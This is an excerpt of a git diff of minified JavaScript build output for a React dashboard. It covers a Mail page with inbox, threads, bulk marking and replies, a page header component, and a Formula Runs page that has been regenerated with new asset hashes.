t===null?{}:{"data-attention-severity":t}}function jt(t){const a=Date.parse(t);return Number.isFinite(a)?new Date(a).toLocaleString(void 0,{month:"short",day:"numeric",hour:"numeric",minute:"2-digit"}):"·"}const ke=[{id:"unread",label:"unread",match:t=>!t.read},{id:"read",label:"read",match:t=>t.read}],yt={id:"needs-you",label:"needs you",match:t=>!t.read&&!Je(t.from)},vt=t=>[t.from,t.to,t.subject,t.rig,t.body.split(`
 `)[0]],wt=1e3;function Ft(){const t=Ue(),a=Me(),i=re(),[c]=Ye(),n=At(c.get("message")),{viewingAs:l,setAlias:m,resetToOperator:b,aliasBuckets:h,aliasesLoading:d,sessionsUnavailable:S,loadAliases:y}=Ce(),[u,A]=r.useState(()=>n===null?"inbox":"all"),[x,R]=r.useState(()=>n===null?Ae:wt),[f,g]=r.useState(Le);r.useEffect(()=>{y()},[y]);const v=Ke(),{data:N,loading:le,error:Y,refresh:O}=Ve(`mail:${u}:${l.alias}:${i.operatorWireAlias}:${x}:${f}`,()=>Ge(u,l.alias,i,x,f,v)),j=r.useMemo(()=>N?.items??[],[N]),[ie,I]=r.useState(null);r.useEffect(()=>{Y&&I(Y)},[Y]);const[w,T]=r.useState(null),[K,W]=r.useState([]),[$e,oe]=r.useState(!1),V=r.useRef(null),[H,G]=r.useState(""),[E,ce]=r.useState(null),[Te,Q]=r.useState(!1),[$,z]=r.useState(()=>new Set),[Ee,de]=r.useState(null),J=r.useCallback(async s=>{if(T(s),W([]),G(""),I(null),!!s.thread_id){oe(!0);try{const o=await be(s.thread_id,l.alias,i,x);W(o.items)}catch(o){I(o instanceof Error?o.message:"thread failed")}finally{oe(!1)}}},[x,l.alias,i]);r.useEffect(()=>{if(n===null){V.current=null;return}if(V.current===n)return;const s=j.find(o=>o.id===n);s!==void 0&&(V.current=n,J(s))},[j,J,n]);const X=r.useCallback(async s=>{const o=w;if(o!==null&&!a){ce(s),I(null);try{if(s==="read")await ve(o),T({...o,read:!0});else if(s==="unread")await we(o),T({...o,read:!1});else if(s==="archive")await xt(o),T(null),W([]);else{const p=H.trim();if(p.length===0)return;if(await ht(o,{body:p},i.operatorWireAlias),G(""),o.thread_id){const De=await be(o.thread_id,l.alias,i,x);W(De.items)}}await O()}catch(p){I(ae(p,`${s} failed`))}finally{ce(null)}}},[x,a,O,H,w,l.alias,i]),ue=r.useMemo(()=>[{key:"from",label:"From",sortable:!0,sortValue:s=>q(s.from),render:s=>e.jsx("span",{className:"text-fg-muted",children:q(s.from)}),className:"w-48"},{key:"subject",label:"Subject",sortable:!0,sortValue:s=>s.subject,render:s=>e.jsxs("div",{className:"min-w-0",children:[e.jsx("p",{className:`truncate ${s.read?"text-fg-muted":"text-fg font-medium"}`,children:s.subject}),e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint mt-1 truncate",children:s.body.split(`
 `)[0]??""})]})},{key:"created_at",label:"When",sortable:!0,sortValue:s=>s.created_at,render:s=>e.jsx("span",{className:"tnum text-fg-muted",children:it(s.created_at,v)}),className:"w-24",align:"right"}],[v]),D=r.useMemo(()=>L(l.alias,i.operatorAlias),[l.alias,i.operatorAlias]),Z=r.useMemo(()=>u==="inbox"&&l.isOperator?Qe(j).length:0,[u,j,l.isOperator]),Pe=r.useMemo(()=>{const s=u==="all"?"all mail":u==="inbox"?"inbox":"sent";if(j.length===0)return`${Oe(s)} empty for ${D}.`;const o=u==="sent"?0:j.filter(p=>!p.read).length;return u==="inbox"&&l.isOperator?o===0?`${j.length} in inbox, all read.`:Z>0?`${j.length} in inbox, ${Z} need you of ${o} unread.`:`${j.length} in inbox, ${o} unread, none need you.`:o>0?`${j.length} in ${s}, ${o} unread.`:`${j.length} in ${s}.`},[u,j,D,Z,l.isOperator]),me=r.useMemo(()=>l.isOperator?[yt,...ke]:ke,[l.isOperator]),k=at({viewKey:`mail:${u}`,rows:j,projectOf:et,searchOf:vt,chips:me}),fe=u!=="sent",C=r.useMemo(()=>k.groups.flatMap(s=>s.rows),[k.groups]),pe=r.useMemo(()=>C.reduce((s,o)=>$.has(o.id)?s+1:s,0),[C,$]),ee=C.length>0&&pe===C.length;r.useEffect(()=>{z(new Set)},[u,l.alias]);const xe=r.useCallback(s=>{z(o=>{const p=new Set(o);return p.has(s)?p.delete(s):p.add(s),p})},[]),Fe=r.useCallback(()=>{z(ee?new Set:new Set(C.map(s=>s.id)))},[ee,C]),he=r.useCallback(async s=>{if(a)return;const o=C.filter(p=>$.has(p.id)&&p.read!==s);if(o.length!==0){de(s?"read":"unread"),I(null);try{await Promise.all(o.map(p=>s?ve(p):we(p))),z(new Set)}catch(p){I(ae(p,`bulk mark ${s?"read":"unread"} failed`))}finally{de(null),await O()}}},[a,C,$,O]),Be=r.useMemo(()=>({key:"__select",label:"",className:"w-8",render:s=>e.jsx("input",{type:"checkbox",className:"h-3.5 w-3.5 translate-y-[2px] cursor-pointer accent-fg focus-mark",checked:$.has(s.id),onChange:()=>xe(s.id),onClick:o=>o.stopPropagation(),"aria-label":`select mail: ${s.subject}`})}),[$,xe]),We=fe?[Be,...ue]:ue,He=r.useMemo(()=>s=>tt(je(t,"mail",s.id)),[t]),ge=r.useCallback(s=>je(t,"mail",s.id),[t]),te=u==="sent"?[]:me,ze=a||w===null||H.trim().length===0||E!==null||!l.isOperator;return e.jsxs("section",{children:[e.jsx(lt,{title:"Mail",synopsis:Pe,meta:e.jsxs(e.Fragment,{children:[ie&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:ie}),a&&e.jsx(ne,{}),e.jsx(M,{size:"sm",onClick:()=>Q(!0),disabled:a||!l.isOperator,title:a?_:l.isOperator?"Compose a new message (sends as the operator)":"Switch back to the operator to compose",children:"Compose"}),e.jsx(M,{size:"sm",onClick:()=>{O()},disabled:le,children:le?"Refreshing":"Refresh"})]})}),e.jsxs("div",{className:"flex flex-col gap-8 sm:flex-row sm:items-start",children:[e.jsx(mt,{buckets:h,loading:d,sessionsUnavailable:S,value:l.alias,onChange:m,onReset:b,isOperator:l.isOperator}),e.jsxs("div",{className:"flex-1 min-w-0",children:[e.jsx("div",{className:"mb-6",children:e.jsx(Nt,{box:u,onChange:A})}),e.jsxs("div",{className:"mb-6 space-y-3",children:[e.jsx(Ze,{value:k.search,onChange:k.setSearch,placeholder:"Search mail by sender, subject, rig",matchCount:k.totalMatches,totalCount:j.length,ariaLabel:"Search mail"}),te.length>0&&e.jsxs("div",{className:"flex items-baseline justify-between gap-4 flex-wrap",children:[e.jsx(st,{chips:te,activeIds:k.activeChipIds,onToggle:k.toggleChip,legend:"Read state"}),e.jsx(Se,{limit:x,onLimitChange:R,onWindowChange:g,window:f})]}),te.length===0&&e.jsx("div",{className:"flex justify-end",children:e.jsx(Se,{limit:x,onLimitChange:R,onWindowChange:g,window:f})})]}),fe&&C.length>0&&e.jsx("div",{className:"mb-6",children:e.jsx(kt,{selectedCount:pe,allSelected:ee,onToggleAll:Fe,onMarkRead:()=>{he(!0)},onMarkUnread:()=>{he(!1)},bulkInFlight:Ee,readOnly:a})}),e.jsx(ut,{groups:k.groups,columns:We,rowKey:s=>s.id,onToggleProject:k.toggleProject,onRowClick:s=>{J(s)},rowProps:He,emptyMessage:k.search.length>0||k.activeChipIds.size>0?"No messages match the current search or filter.":`${u==="inbox"?"Inbox":"Sent"} empty for ${D}.`,perProjectEmpty:"No messages in this project.",initialSort:{key:"created_at",dir:"desc"}})]})]}),e.jsx(_e,{open:w!==null,onClose:()=>T(null),title:w?.subject??"Thread",caption:`Reading as ${D}, ${K.length} message(s)`,widthClass:"max-w-3xl",footer:w===null?null:e.jsxs(e.Fragment,{children:[e.jsx(M,{tone:"quiet",size:"sm",title:a?_:void 0,disabled:a||E!==null,onClick:()=>{X(w.read?"unread":"read")},children:w.read?"Mark unread":"Mark read"}),e.jsx(M,{tone:"quiet",size:"sm",title:a?_:void 0,disabled:a||E!==null,onClick:()=>{X("archive")},children:E==="archive"?"Archiving":"Archive"}),e.jsx(M,{tone:"accent",size:"sm",title:a?_:void 0,disabled:ze,onClick:()=>{X("reply")},children:E==="reply"?"Replying":"Reply"})]}),children:e.jsxs("div",{className:"space-y-6",children:[$e?e.jsx("p",{className:"text-fg-muted italic",children:"Loading thread."}):K.length===0&&w?e.jsx(Ne,{message:w,attentionSeverity:ge(w)}):e.jsx("ol",{className:"space-y-6",children:K.map(s=>e.jsx("li",{children:e.jsx(Ne,{message:s,attentionSeverity:ge(s)})},s.id))}),w!==null&&e.jsx(P,{label:"Reply",variant:"form",children:e.jsx("textarea",{value:H,onChange:s=>G(s.target.value),rows:5,maxLength:16*1024,title:a?_:void 0,disabled:a||!l.isOperator,className:"w-full bg-surface-tint border border-rule rounded-sm px-3 py-2 text-body text-fg focus:border-accent focus:outline-none focus:ring-1 focus:ring-accent/40 resize-y disabled:opacity-50"})})]})}),e.jsx(gt,{open:Te,onClose:()=>Q(!1),onSent:()=>{Q(!1),u==="sent"&&O()}})]})}function Nt({box:t,onChange:a}){return e.jsx("div",{className:"flex items-baseline gap-6",children:["inbox","sent","all"].map(i=>e.jsx("button",{type:"button",onClick:()=>a(i),className:`text-title transition-colors duration-150 ease-out-quart focus-mark rounded-sm ${t===i?"text-fg font-semibold":"text-fg-muted hover:text-fg"}`,children:i==="all"?"All":Oe(i)},i))})}function kt({selectedCount:t,allSelected:a,onToggleAll:i,onMarkRead:c,onMarkUnread:n,bulkInFlight:l,readOnly:m}){const b=r.useRef(null),h=t>0;r.useEffect(()=>{b.current!==null&&(b.current.indeterminate=h&&!a)},[h,a]);const d=l!==null,S=m?_:void 0;return e.jsxs("div",{className:"flex items-baseline justify-between gap-4 flex-wrap border-b border-rule pb-3",role:"region","aria-label":"bulk mail selection",children:[e.jsxs("label",{className:"flex items-baseline gap-2 text-label uppercase tracking-wider text-fg-muted cursor-pointer",children:[e.jsx("input",{ref:b,type:"checkbox",className:"h-3.5 w-3.5 translate-y-[2px] cursor-pointer accent-fg focus-mark",checked:a,onChange:i,"aria-label":"select all mail"}),e.jsx("span",{children:h?`${t} selected`:"Select all"})]}),h&&e.jsxs("div",{className:"flex items-baseline gap-3",children:[m&&e.jsx(ne,{}),e.jsx(M,{size:"sm",tone:"quiet",onClick:c,disabled:m||d,title:S,children:l==="read"?"Marking":"Mark read"}),e.jsx(M,{size:"sm",tone:"quiet",onClick:n,disabled:m||d,title:S,children:l==="unread"?"Marking":"Mark unread"})]})]})}function Se({limit:t,onLimitChange:a,onWindowChange:i,window:c}){return e.jsxs("div",{className:"flex items-baseline gap-3 flex-wrap",children:[e.jsxs("label",{className:"flex items-baseline gap-2 text-label uppercase tracking-wider text-fg-muted",children:[e.jsx("span",{children:"Window"}),e.jsx("select",{"aria-label":"Mail time window",value:c,onChange:n=>i(Ct(n.target.value)),className:"bg-transparent border border-rule rounded-sm px-2 py-1 text-label uppercase tracking-wider text-fg-muted focus:border-accent focus:outline-none focus:ring-1 focus:ring-accent/40",children:Re.map(n=>e.jsx("option",{value:n,children:Mt(n)},n))})]}),e.jsxs("label",{className:"flex items-baseline gap-2 text-label uppercase tracking-wider text-fg-muted",children:[e.jsx("span",{children:"History"}),e.jsx("select",{"aria-label":"Mail history limit",value:t,onChange:n=>a(St(n.target.value)),className:"bg-transparent border border-rule rounded-sm px-2 py-1 text-label uppercase tracking-wider text-fg-muted focus:border-accent focus:outline-none focus:ring-1 focus:ring-accent/40",children:Ie.map(n=>e.jsxs("option",{value:n,children:["Recent ",n]},n))})]})]})}function St(t){const a=Number(t);return Ie.includes(a)?a:Ae}function Ct(t){return Re.includes(t)?t:Le}function Mt(t){return t==="24h"?"Last 24h":t==="7d"?"Last 7d":"All time"}function At(t){const a=t?.trim();return a&&a.length>0?a:null}function Oe(t){return t.charAt(0).toUpperCase()+t.slice(1)}export{Ft as MailPage};
diff --git a/internal/api/dashboardspa/dist/assets/PageHeader-BLycRKkQ.js b/internal/api/dashboardspa/dist/assets/PageHeader-5RHLpIfH.js
similarity index 89%
rename from internal/api/dashboardspa/dist/assets/PageHeader-BLycRKkQ.js
rename to internal/api/dashboardspa/dist/assets/PageHeader-5RHLpIfH.js
index 9e8e3e8f98..bb789594f5 100644
--- a/internal/api/dashboardspa/dist/assets/PageHeader-BLycRKkQ.js
+++ b/internal/api/dashboardspa/dist/assets/PageHeader-5RHLpIfH.js
@@ -1 +1 @@
-import{j as e}from"./index-fZITW1u7.js";function d({title:t,synopsis:s,meta:a,className:r=""}){return e.jsxs("header",{className:`grid grid-cols-1 items-start gap-x-6 gap-y-4 mb-10 md:grid-cols-[minmax(0,1fr)_auto] md:items-end ${r}`,children:[e.jsxs("div",{className:"min-w-0 space-y-2",children:[e.jsx("h1",{className:"text-display font-semibold tracking-tighter text-fg leading-[1.05]",children:t}),s&&e.jsx("p",{className:"text-body text-fg-muted max-w-prose",children:s})]}),a&&e.jsx("div",{className:"flex flex-wrap items-center gap-4 text-label uppercase tracking-wider md:justify-end",children:a})]})}export{d as P};
+import{j as e}from"./index-BFDP6Xwd.js";function d({title:t,synopsis:s,meta:a,className:r=""}){return e.jsxs("header",{className:`grid grid-cols-1 items-start gap-x-6 gap-y-4 mb-10 md:grid-cols-[minmax(0,1fr)_auto] md:items-end ${r}`,children:[e.jsxs("div",{className:"min-w-0 space-y-2",children:[e.jsx("h1",{className:"text-display font-semibold tracking-tighter text-fg leading-[1.05]",children:t}),s&&e.jsx("p",{className:"text-body text-fg-muted max-w-prose",children:s})]}),a&&e.jsx("div",{className:"flex flex-wrap items-center gap-4 text-label uppercase tracking-wider md:justify-end",children:a})]})}export{d as P};
diff --git a/internal/api/dashboardspa/dist/assets/Runs-BRm3CwrR.js b/internal/api/dashboardspa/dist/assets/Runs-BRm3CwrR.js
deleted file mode 100644
index 985fd201ce..0000000000
--- a/internal/api/dashboardspa/dist/assets/Runs-BRm3CwrR.js
+++ /dev/null
@@ -1 +0,0 @@
-import{j as e,L as B,ak as O,r as x,al as f,am as M,a as D,an as U,M as z,u as V,B as w}from"./index-fZITW1u7.js";import{b as F,r as Y}from"./routeHighlight-B30gQO2o.js";import{P as Q}from"./PageHeader-BLycRKkQ.js";import{S as q,P as G}from"./SseIndicator-iUpgegKX.js";import{f as _}from"./time-D9v0saHV.js";import{S as K}from"./StageLadder-DyvNM-62.js";function W(t){return t==="blocked"?"text-accent":t==="complete"?"text-fg-muted":"text-fg"}function I({lane:t,now:n,attentionSeverity:r=null,blocked:s}){const a=Object.entries(t.statusCounts).sort((l,c)=>k(l[0]).localeCompare(k(c[0]))),{className:i="",...d}=F(r);return e.jsxs("li",{...d,className:`py-4 transition-colors duration-150 ease-out-quart ${i}`,children:[e.jsxs("div",{className:"flex items-baseline justify-between gap-4",children:[e.jsx("span",{className:`text-label uppercase tracking-wider ${W(t.phase)}`,children:t.phaseLabel}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum tabular-nums",title:t.updatedAt.status==="available"?t.updatedAt.at:t.updatedAt.error,children:t.updatedAt.status==="available"?_(t.updatedAt.at,n):"·"})]}),e.jsx(B,{to:O(t.id,t.scope),className:"focus-mark mt-1 block text-body text-fg leading-snug hover:text-accent",children:t.title}),(t.external.status!=="unavailable"||t.formula.status==="known")&&e.jsxs("div",{className:"mt-1 flex items-baseline gap-x-4 gap-y-1 flex-wrap text-label",children:[t.external.status!=="unavailable"&&(t.external.status==="available"?e.jsx("a",{href:t.external.url,target:"_blank",rel:"noreferrer",className:"text-fg-muted uppercase tracking-wider hover:text-fg focus-mark",children:t.external.label}):e.jsx("span",{className:"text-fg-muted uppercase tracking-wider",children:t.external.label})),t.formula.status==="known"&&e.jsx("span",{className:"text-fg-faint tnum",children:t.formula.name})]}),e.jsx(K,{stages:t.stages,label:t.title}),e.jsxs("div",{className:"mt-2 flex items-baseline gap-x-4 gap-y-1 flex-wrap text-label",children:[e.jsx("span",{className:"text-fg-faint tnum",title:"run root bead",children:t.id}),t.activeAssignees.length>0&&e.jsxs("span",{className:"text-fg-muted lowercase tracking-normal",children:[e.jsx("span",{className:"uppercase tracking-wider text-fg-faint",children:"on "}),t.activeAssignees.join(", ")]}),a.length>0&&e.jsx("span",{className:"text-fg-faint uppercase tracking-wider tnum tabular-nums",children:a.map(([l,c])=>`${c} ${l.replace(/_/g," ")}`).join(" · ")})]}),s!==void 0&&e.jsxs("div",{className:"mt-2",children:[e.jsxs("p",{className:"text-body text-fg leading-snug",children:[e.jsx("span",{"aria-hidden":"true",className:"text-accent",children:"✕"})," ",s.reason]}),e.jsx("p",{className:"mt-1 text-body text-fg-muted leading-snug",children:s.remedy})]})]})}function k(t){return`${{blocked:"0",in_progress:"1",open:"2",closed:"3"}[t]??"9"}-${t}`}const X=[["prReview","PR"],["designReview","Design"],["bugfix","Bugfix"],["other","Other"]],C="runs-historical-section",S="runs-historical-list",R="runs-active-list",h=5;function J({source:t,now:n,showHistory:r,attentionSeverity:s}){if(t.status==="error")return e.jsxs("section",{children:[e.jsx(A,{summary:null}),e.jsx("p",{className:"mt-8 text-body text-fg-muted italic",children:`Run data unavailable: ${t.error}.`})]});const a=t.data;return e.jsxs("section",{children:[e.jsx(A,{summary:a}),e.jsx(Z,{summary:a,now:n,...s===void 0?{}:{attentionSeverity:s}}),e.jsx(se,{summary:a,now:n,...s===void 0?{}:{attentionSeverity:s}}),r&&e.jsx(ae,{summary:a,now:n,...s===void 0?{}:{attentionSeverity:s}})]})}function Z({summary:t,now:n,attentionSeverity:r}){const[s,a]=x.useState(!1);if(t.lanes.length===0){if(t.lanesPartial===!0)return e.jsx("p",{className:"mt-8 text-body text-fg-muted italic",children:"Run sources were partially unavailable; the lane set may be incomplete."});const l=t.totalHistorical>0?` (${t.totalHistorical} completed.)`:"";return e.jsx("p",{className:"mt-8 text-body text-fg-muted italic",children:`No active formula runs.${l}`})}const i=s?t.lanes:t.lanes.slice(0,f),d=ee(i);return e.jsxs(e.Fragment,{children:[e.jsx("div",{id:R,children:d.map(({rig:l,lanes:c})=>e.jsxs("div",{className:"mt-6",children:[e.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint",children:te(l)}),e.jsx(H,{lanes:c,now:n,...r===void 0?{}:{attentionSeverity:r}})]},l))}),t.lanes.length>f&&e.jsx("button",{type:"button",onClick:()=>a(l=>!l),"aria-expanded":s,"aria-controls":R,className:"mt-3 text-label uppercase tracking-wider text-fg-faint tnum hover:text-fg focus-mark",children:s?"Show fewer":`Show ${t.lanes.length-f} more runs`})]})}function H({lanes:t,now:n,attentionSeverity:r,listId:s}){return e.jsx("ol",{...s===void 0?{}:{id:s},className:"mt-3 divide-y divide-rule",children:t.map(a=>e.jsx(I,{lane:a,now:n,...r===void 0?{}:{attentionSeverity:r(a)}},a.id))})}function ee(t){const n=[],r=new Map;for(const s of t){const a=s.scope.status==="available"&&s.scope.kind==="rig"?s.scope.rootStoreRef:"city";let i=r.get(a);i===void 0&&(i=[],r.set(a,i),n.push(a)),i.push(s)}return n.map(s=>({rig:s,lanes:r.get(s)}))}function te(t){return t.replace(/^rig:/,"")}function se({summary:t,now:n,attentionSeverity:r}){const s=new Map(M(t.blockedLanes).map(a=>[a.id,a]));return s.size===0?null:e.jsxs("section",{"aria-label":"Blocked runs",className:"mt-12",children:[e.jsxs("h2",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:["Blocked (",s.size,")"]}),e.jsx("ol",{className:"mt-3 divide-y divide-rule",children:t.blockedLanes.map(a=>{const i=s.get(a.id);return e.jsx(I,{lane:a,now:n,...r===void 0?{}:{attentionSeverity:r(a)},...i===void 0?{}:{blocked:i}},a.id)})})]})}function ae({summary:t,now:n,attentionSeverity:r}){const[s,a]=x.useState(!1),i=t.historicalLanes,d=s?i:i.slice(0,h);return e.jsxs("section",{id:C,"aria-label":"Historical runs",className:"mt-12",children:[e.jsx("h2",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Historical"}),i.length===0?e.jsx("p",{className:"mt-3 text-body text-fg-muted italic",children:"No completed runs in the current window."}):e.jsxs(e.Fragment,{children:[e.jsx(H,{lanes:d,now:n,listId:S,...r===void 0?{}:{attentionSeverity:r}}),i.length>h&&e.jsx("button",{type:"button",onClick:()=>a(l=>!l),"aria-expanded":s,"aria-controls":S,className:"mt-3 text-label uppercase tracking-wider text-fg-faint tnum hover:text-fg focus-mark",children:s?"Show fewer":`Show ${i.length-h} more`}),t.totalHistorical>i.length&&e.jsxs("p",{className:"mt-3 text-label uppercase tracking-wider text-fg-faint tnum",children:["Showing ",i.length," most-recent of ",t.totalHistorical]})]})]})}function A({summary:t}){const n=t?.runCounts.total??0,r=t?.runCounts.blocked??0;return e.jsx("header",{className:"space-y-2",children:e.jsxs("div",{className:"flex items-baseline gap-x-6 gap-y-2 flex-wrap",children:[e.jsx(g,{label:"Active",value:n,tone:"strong"}),X.map(([s,a])=>e.jsx(g,{label:a,value:t?.runCounts[s]??0,tone:"muted"},s)),r>0&&e.jsx(g,{label:"Blocked",value:r,tone:"muted"})]})})}function g({label:t,value:n,tone:r}){const s=r==="strong"?"text-fg":"text-fg-muted";return e.jsxs("div",{className:"flex flex-col",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint",children:t}),e.jsx("span",{className:`text-title tnum ${s}`,children:n})]})}const re=C,L="Phase grammar: intake, implementation, review, approval, finalization.",b="history",y="1";function xe(){const t=D(),{source:n,loading:r,error:s,refresh:a,sseState:i}=U(),[d,l]=z(),c=d.get(b)===y,j=V(),o=n??null,N=o?.status==="fresh"||o?.status==="fixture"||o?.status==="stale"?o.data:null,u=N?.totalHistorical??0,$=N?.lanesPartial===!0,P=x.useCallback(()=>{l(m=>{const p=new URLSearchParams(m);return c?p.delete(b):p.set(b,y),p},{replace:!1})},[c,l]),E=x.useCallback(m=>Y(t,"runs",m.id),[t]),T=ne(n),v=o?o.status==="fresh"?null:o.status==="fixture"?"fixture data":o.status==="error"?"live data unavailable":o.fetchedAt?`stale ${_(o.fetchedAt,j)} ago`:"stale":null;return e.jsxs("section",{children:[e.jsx(Q,{title:"Formula Runs",synopsis:T,className:"md:items-start",meta:e.jsxs(e.Fragment,{children:[s&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:s}),v!==null&&e.jsx("span",{className:`text-label uppercase tracking-wider tnum ${o?.status==="error"?"text-accent":"text-fg-faint"}`,children:v}),e.jsxs("div",{className:"grid w-full min-w-[18rem] grid-cols-[7rem_minmax(6.5rem,1fr)] items-center gap-x-4 gap-y-3 sm:w-[34rem] sm:grid-cols-[7rem_6.5rem_10rem_7rem]",children:[e.jsx(q,{state:i}),e.jsx("span",{children:$?e.jsx(G,{glyph:"◐",label:"runs partial",title:"one or more rigs' recent runs were unavailable; the lane set may be incomplete"}):e.jsx("span",{"aria-hidden":"true",className:"invisible normal-case text-body text-warn",children:"runs partial"})}),e.jsx(w,{size:"sm",className:"w-full justify-center",onClick:P,disabled:!c&&u===0,"aria-expanded":c,...c?{"aria-controls":re}:{},"aria-label":c?"Hide historical formula runs.":u===0?"No completed formula runs in the current window.":`Show ${u} completed formula runs.`,children:c?"Hide history":u>0?`Show history (${u})`:"Show history"}),e.jsx(w,{size:"sm",className:"w-full justify-center",onClick:()=>{a()},disabled:r,children:r?"Refreshing":"Refresh"})]})]})}),n===void 0||o===null?e.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading formula runs."}):e.jsx(J,{source:o,now:j,showHistory:c,attentionSeverity:E})]})}function ne(t){return t===void 0?"Loading formula run lanes.":t.status!=="error"?`${t.data.totalActive} active runs across the supervisor's bead store. ${L}`:`Run counts unavailable: ${t.error}. ${L}`}export{xe as RunsPage};
diff --git a/internal/api/dashboardspa/dist/assets/Runs-DlWanzbB.js b/internal/api/dashboardspa/dist/assets/Runs-DlWanzbB.js
new file mode 100644
index 0000000000..8d3e1985f5
--- /dev/null
+++ b/internal/api/dashboardspa/dist/assets/Runs-DlWanzbB.js
@@ -0,0 +1 @@
+import{j as e,L as B,a6 as O,r as x,a7 as D,a as M,a8 as U,K as z,u as V,B as w}from"./index-BFDP6Xwd.js";import{b as F,r as Y}from"./routeHighlight-B30gQO2o.js";import{P as K}from"./PageHeader-5RHLpIfH.js";import{S as Q,P as q}from"./SseIndicator-DGo-aCtn.js";import{f as _}from"./time-D9v0saHV.js";import{S as G}from"./StageLadder-BIFUAoAh.js";const f=8;function W(t){return t==="blocked"?"text-accent":t==="complete"?"text-fg-muted":"text-fg"}function I({lane:t,now:n,attentionSeverity:r=null,blocked:s}){const a=Object.entries(t.statusCounts).sort((l,c)=>k(l[0]).localeCompare(k(c[0]))),{className:i="",...d}=F(r);return e.jsxs("li",{...d,className:`py-4 transition-colors duration-150 ease-out-quart ${i}`,children:[e.jsxs("div",{className:"flex items-baseline justify-between gap-4",children:[e.jsx("span",{className:`text-label uppercase tracking-wider ${W(t.phase)}`,children:t.phaseLabel}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum tabular-nums",title:t.updatedAt.status==="available"?t.updatedAt.at:t.updatedAt.error,children:t.updatedAt.status==="available"?_(t.updatedAt.at,n):"·"})]}),e.jsx(B,{to:O(t.id,t.scope),className:"focus-mark mt-1 block text-body text-fg leading-snug hover:text-accent",children:t.title}),(t.external.status!=="unavailable"||t.formula.status==="known")&&e.jsxs("div",{className:"mt-1 flex items-baseline gap-x-4 gap-y-1 flex-wrap text-label",children:[t.external.status!=="unavailable"&&(t.external.status==="available"?e.jsx("a",{href:t.external.url,target:"_blank",rel:"noreferrer",className:"text-fg-muted uppercase tracking-wider hover:text-fg focus-mark",children:t.external.label}):e.jsx("span",{className:"text-fg-muted uppercase tracking-wider",children:t.external.label})),t.formula.status==="known"&&e.jsx("span",{className:"text-fg-faint tnum",children:t.formula.name})]}),e.jsx(G,{stages:t.stages,label:t.title}),e.jsxs("div",{className:"mt-2 flex items-baseline gap-x-4 gap-y-1 flex-wrap text-label",children:[e.jsx("span",{className:"text-fg-faint tnum",title:"run root bead",children:t.id}),t.activeAssignees.length>0&&e.jsxs("span",{className:"text-fg-muted lowercase tracking-normal",children:[e.jsx("span",{className:"uppercase tracking-wider text-fg-faint",children:"on "}),t.activeAssignees.join(", ")]}),a.length>0&&e.jsx("span",{className:"text-fg-faint uppercase tracking-wider tnum tabular-nums",children:a.map(([l,c])=>`${c} ${l.replace(/_/g," ")}`).join(" · ")})]}),s!==void 0&&e.jsxs("div",{className:"mt-2",children:[e.jsxs("p",{className:"text-body text-fg leading-snug",children:[e.jsx("span",{"aria-hidden":"true",className:"text-accent",children:"✕"})," ",s.reason]}),e.jsx("p",{className:"mt-1 text-body text-fg-muted leading-snug",children:s.remedy})]})]})}function k(t){return`${{blocked:"0",in_progress:"1",open:"2",closed:"3"}[t]??"9"}-${t}`}const X=[["prReview","PR"],["designReview","Design"],["bugfix","Bugfix"],["other","Other"]],C="runs-historical-section",S="runs-historical-list",R="runs-active-list",h=5;function J({source:t,now:n,showHistory:r,attentionSeverity:s}){if(t.status==="error")return e.jsxs("section",{children:[e.jsx(A,{summary:null}),e.jsx("p",{className:"mt-8 text-body text-fg-muted italic",children:`Run data unavailable: ${t.error}.`})]});const a=t.data;return e.jsxs("section",{children:[e.jsx(A,{summary:a}),e.jsx(Z,{summary:a,now:n,...s===void 0?{}:{attentionSeverity:s}}),e.jsx(se,{summary:a,now:n,...s===void 0?{}:{attentionSeverity:s}}),r&&e.jsx(ae,{summary:a,now:n,...s===void 0?{}:{attentionSeverity:s}})]})}function Z({summary:t,now:n,attentionSeverity:r}){const[s,a]=x.useState(!1);if(t.lanes.length===0){if(t.lanesPartial===!0)return e.jsx("p",{className:"mt-8 text-body text-fg-muted italic",children:"Run sources were partially unavailable; the lane set may be incomplete."});const l=t.totalHistorical>0?` (${t.totalHistorical} completed.)`:"";return e.jsx("p",{className:"mt-8 text-body text-fg-muted italic",children:`No active formula runs.${l}`})}const i=s?t.lanes:t.lanes.slice(0,f),d=ee(i);return e.jsxs(e.Fragment,{children:[e.jsx("div",{id:R,children:d.map(({rig:l,lanes:c})=>e.jsxs("div",{className:"mt-6",children:[e.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint",children:te(l)}),e.jsx(H,{lanes:c,now:n,...r===void 0?{}:{attentionSeverity:r}})]},l))}),t.lanes.length>f&&e.jsx("button",{type:"button",onClick:()=>a(l=>!l),"aria-expanded":s,"aria-controls":R,className:"mt-3 text-label uppercase tracking-wider text-fg-faint tnum hover:text-fg focus-mark",children:s?"Show fewer":`Show ${t.lanes.length-f} more runs`})]})}function H({lanes:t,now:n,attentionSeverity:r,listId:s}){return e.jsx("ol",{...s===void 0?{}:{id:s},className:"mt-3 divide-y divide-rule",children:t.map(a=>e.jsx(I,{lane:a,now:n,...r===void 0?{}:{attentionSeverity:r(a)}},a.id))})}function ee(t){const n=[],r=new Map;for(const s of t){const a=s.scope.status==="available"&&s.scope.kind==="rig"?s.scope.rootStoreRef:"city";let i=r.get(a);i===void 0&&(i=[],r.set(a,i),n.push(a)),i.push(s)}return n.map(s=>({rig:s,lanes:r.get(s)}))}function te(t){return t.replace(/^rig:/,"")}function se({summary:t,now:n,attentionSeverity:r}){const s=new Map(D(t.blockedLanes).map(a=>[a.id,a]));return s.size===0?null:e.jsxs("section",{"aria-label":"Blocked runs",className:"mt-12",children:[e.jsxs("h2",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:["Blocked (",s.size,")"]}),e.jsx("ol",{className:"mt-3 divide-y divide-rule",children:t.blockedLanes.map(a=>{const i=s.get(a.id);return e.jsx(I,{lane:a,now:n,...r===void 0?{}:{attentionSeverity:r(a)},...i===void 0?{}:{blocked:i}},a.id)})})]})}function 